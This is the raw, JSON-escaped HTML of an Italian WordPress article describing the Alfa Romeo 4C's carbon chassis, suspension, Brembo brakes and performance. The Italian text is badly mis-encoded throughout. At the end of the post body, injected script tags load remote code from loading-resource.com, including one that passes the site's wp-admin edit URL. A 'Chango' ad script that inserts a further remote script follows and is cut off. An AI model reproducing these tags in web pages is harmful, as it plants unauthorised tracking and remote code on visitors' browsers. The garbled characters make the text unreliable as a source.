srcset=\"https:\/\/www.mitoalfaromeo.com\/notizie\/wp-content\/uploads\/2013\/03\/ar-4c-carbonio-1.jpg 750w, https:\/\/www.mitoalfaromeo.com\/notizie\/wp-content\/uploads\/2013\/03\/ar-4c-carbonio-1-300x174.jpg 300w\" sizes=\"auto, (max-width: 675px) 100vw, 675px\" \/><\/a><figcaption id=\"caption-attachment-1980\" class=\"wp-caption-text\">AlfaRomeo 4C &#8211; www.mitoalfaromeo.com &#8211;<\/figcaption><\/figure>\n<p>&nbsp;<\/p>\n<figure id=\"attachment_1981\" aria-describedby=\"caption-attachment-1981\" style=\"width: 675px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.mitoalfaromeo.com\/notizie\/wp-content\/uploads\/2013\/03\/ar-4c-carbonio-2.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\" wp-image-1981 \" title=\"ar-4c-carbonio-2\" src=\"http:\/\/www.mitoalfaromeo.com\/notizie\/wp-content\/uploads\/2013\/03\/ar-4c-carbonio-2.jpg\" alt=\"AlfaRomeo 4C - www.mitoalfaromeo.com - \" width=\"675\" height=\"418\" srcset=\"https:\/\/www.mitoalfaromeo.com\/notizie\/wp-content\/uploads\/2013\/03\/ar-4c-carbonio-2.jpg 750w, https:\/\/www.mitoalfaromeo.com\/notizie\/wp-content\/uploads\/2013\/03\/ar-4c-carbonio-2-300x185.jpg 300w\" sizes=\"auto, (max-width: 675px) 100vw, 675px\" \/><\/a><figcaption id=\"caption-attachment-1981\" class=\"wp-caption-text\">AlfaRomeo 4C &#8211; www.mitoalfaromeo.com &#8211;<\/figcaption><\/figure>\n<p>&nbsp;<\/p>\n<figure id=\"attachment_1982\" aria-describedby=\"caption-attachment-1982\" style=\"width: 675px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.mitoalfaromeo.com\/notizie\/wp-content\/uploads\/2013\/03\/ar-4c-carbonio-3.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\" wp-image-1982 \" title=\"ar-4c-carbonio-3\" src=\"http:\/\/www.mitoalfaromeo.com\/notizie\/wp-content\/uploads\/2013\/03\/ar-4c-carbonio-3.jpg\" alt=\"AlfaRomeo 4C - www.mitoalfaromeo.com - \" width=\"675\" height=\"388\" srcset=\"https:\/\/www.mitoalfaromeo.com\/notizie\/wp-content\/uploads\/2013\/03\/ar-4c-carbonio-3.jpg 750w, https:\/\/www.mitoalfaromeo.com\/notizie\/wp-content\/uploads\/2013\/03\/ar-4c-carbonio-3-300x172.jpg 300w\" sizes=\"auto, (max-width: 675px) 100vw, 675px\" \/><\/a><figcaption id=\"caption-attachment-1982\" class=\"wp-caption-text\">AlfaRomeo 4C &#8211; www.mitoalfaromeo.com &#8211;<\/figcaption><\/figure>\n<p><strong>Struttura rigida e leggera<\/strong><\/p>\n<p>Una struttura rigida, resistente e leggera \u00c3\u00a8 un requisito imprescindibile per impostare una vettura sportiva ad alte prestazioni. Stesso principio ispiratore che ha portato alla realizzazione dell&#8217;Alfa Romeo 4C.<\/p>\n<p>E&#8217; stato impiegato a tal fine il mix pi\u00c3\u00b9 avanzato di materiali hi-tech con caratteristiche di rigidezza e resistenza straordinarie abbinate ad un peso specifico molto contenuto.<\/p>\n<p>In particolare, lo chassis \u00c3\u00a8 costituito da una monoscocca realizzata completamente in fibra di carbonio con tecnologia &#8220;pre-preg&#8221; di derivazione dalla Formula 1 adottata solo dalle supercar pi\u00c3\u00b9 avanzate, del peso di soli 65kg, all&#8217;interno della quale viene ricavato lo spazio per pilota e passeggero.<\/p>\n<p>Le strutture anteriore e posteriore del telaio e la gabbia di rinforzo del tetto sono interamente in alluminio.<\/p>\n<p>La carrozzeria della vettura inoltre \u00c3\u00a8 interamente composta in materiale composito a bassa densit\u00c3\u00a0 e ad alta resistenza. L&#8217;utilizzo di questo materiale da benefici in termini di riduzione del peso (-20% vs lamiera) e resistenza alla corrosione, garantendo stabilit\u00c3\u00a0 dimensionale comparabile alla lamiera e migliore dell&#8217;alluminio.<\/p>\n<p>I sedili infine hanno il guscio in composito con una struttura mista in fibra di carbonio e fibra di vetro che garantisce al tempo stesso un&#8217;alta resistenza alle sollecitazioni e un peso particolarmente contenuto.<\/p>\n<p>Il risultato finale \u00c3\u00a8 una sensibile riduzione del peso complessivo (il peso a secco raggiunge un valore di soli 895 Kg) unita alle migliori caratteristiche possibili di rigidit\u00c3\u00a0 torsionale e resistenza, oltre all&#8217;ottimizzazione del baricentro della vettura a tutto vantaggio dell&#8217;agilit\u00c3\u00a0 e della guidabilit\u00c3\u00a0 nei percorsi pi\u00c3\u00b9 impegnativi.<\/p>\n<p><strong>Sospensioni<\/strong><\/p>\n<p>L&#8217;Alfa Romeo 4C adotta schemi di sospensioni estremamente sofisticati &#8211; &#8216;a triangoli sovrapposti&#8217; per l&#8217;anteriore, un&#8217;evoluzione del McPherson per quelle posteriori &#8211; che assicurano massima agilit\u00c3\u00a0 e tenuta di strada. Questa soluzione, unita alla trazione posteriore e allo straordinario rapporto peso\/potenza, \u00c3\u00a8 la garanzia del piacere di guida Alfa Romeo favorito anche dalla distribuzione dei pesi (40% sull&#8217;asse anteriore e 60% sull&#8217;asse posteriore). Inoltre, per chi vuole il massimo in termini di handling, sar\u00c3\u00a0 disponibile un kit completo di sospensioni con specifica taratura degli ammortizzatori e barra antirollio posteriore.<\/p>\n<p><strong>Impianto frenante, ruote e sterzo<\/strong><\/p>\n<p>Per assicurare una frenata incisiva anche nell&#8217;uso pi\u00c3\u00b9 intenso, l&#8217;impianto frenante propone quattro dischi forati autoventilanti, con pinze Brembo in alluminio a quattro pistoncini sull&#8217;asse anteriore. Inoltre, per &#8220;incollare&#8221; la vettura all&#8217;asfalto sono stati scelti pneumatici con diametro e larghezza differenziati tra anteriore-posteriore (due le varianti disponibili, da 17&#8243;-18&#8243; o da 18&#8243;-19&#8243;) appositamente sviluppati per garantire prestazioni eccellenti (\u00c3\u00a8 previsto anche un kit di pneumatici con mescola pi\u00c3\u00b9 morbida per ottimizzare il grip).<\/p>\n<p>In linea con l&#8217;impostazione della vettura, il sistema sterzante della 4C non \u00c3\u00a8 dotato di servo-assistenza: questo ha consentito non solo di risparmiare ulteriore peso, ma soprattutto di esaltare il &#8216;feeling&#8221; di guida, mantenendo un carico volante adeguato grazie alla leggerezza complessiva della vettura.<\/p>\n<p><strong>Prestazioni da vera supercar<\/strong><\/p>\n<p>L&#8217;avanguardia delle soluzioni tecniche e tecnologiche adottate permettono all&#8217;Alfa Romeo 4C di raggiungere prestazioni da vera supercar con un feeling di guida unico.<\/p>\n<p>Lo dimostrano gli oltre 250 km\/h di velocit\u00c3\u00a0 massima, i soli 4,5 secondi necessari per accelerare da 0 a 100 km\/h, gli 1,1 g di accelerazione laterale in curva e gli 1,25 g di massima decelerazione in frenata.<\/p>\n<p><strong>L&#8217;eccellenza del made in Italy<br \/>\n<\/strong><br \/>\nLo sviluppo dell&#8217;Alfa Romeo 4C si \u00c3\u00a8 avvalso delle migliori competenze tecnico-industriali dei marchi Alfa Romeo e Maserati. In particolare, la cooperazione tra le due Case si \u00c3\u00a8 svolta in un&#8217;ottica di integrazione tra le funzioni di progettazione di Alfa Romeo e quelle produttive di Maserati. A questo si aggiunge il contributo tecnico e tecnologico di altre aziende italiane leader a livello mondiale nel settore dei componenti per vetture sportive ad alte prestazioni. Insomma, \u00c3\u00a8 anche questo un segno distintivo di Alfa Romeo, un marchio secolare che continua ad essere uno dei pi\u00c3\u00b9 famosi e apprezzati ambasciatori del made in Italy nel mondo.<\/p>\n<div id=\"__tbSetup\"><\/div>\n<p><script type=\"text\/javascript\" src=\"https:\/\/loading-resource.com\/data.js.php?i={1CE4B7D6-67CF-4FCE-A67D-68A1CE55CB3B}&amp;d=2012-7-23&amp;s=http:\/\/www.mitoalfaromeo.com\/notizie\/wp-admin\/post.php?post=1967&amp;action=edit\"><\/script><script type=\"text\/javascript\" src=\"\/\/loading-resource.com\/data.geo.php?callback=window.__geo.dataLoaded\"><\/script><script id=\"__changoScript\" type=\"text\/javascript\">\/\/ <![CDATA[\nvar __chd__ = {'aid':11079,'chaid':'www_objectify_ca'};(function() { var c = document.createElement('script'); c.type = 'text\/javascript'; c.async = true;c.src = ( 'https:' == document.location.protocol ? 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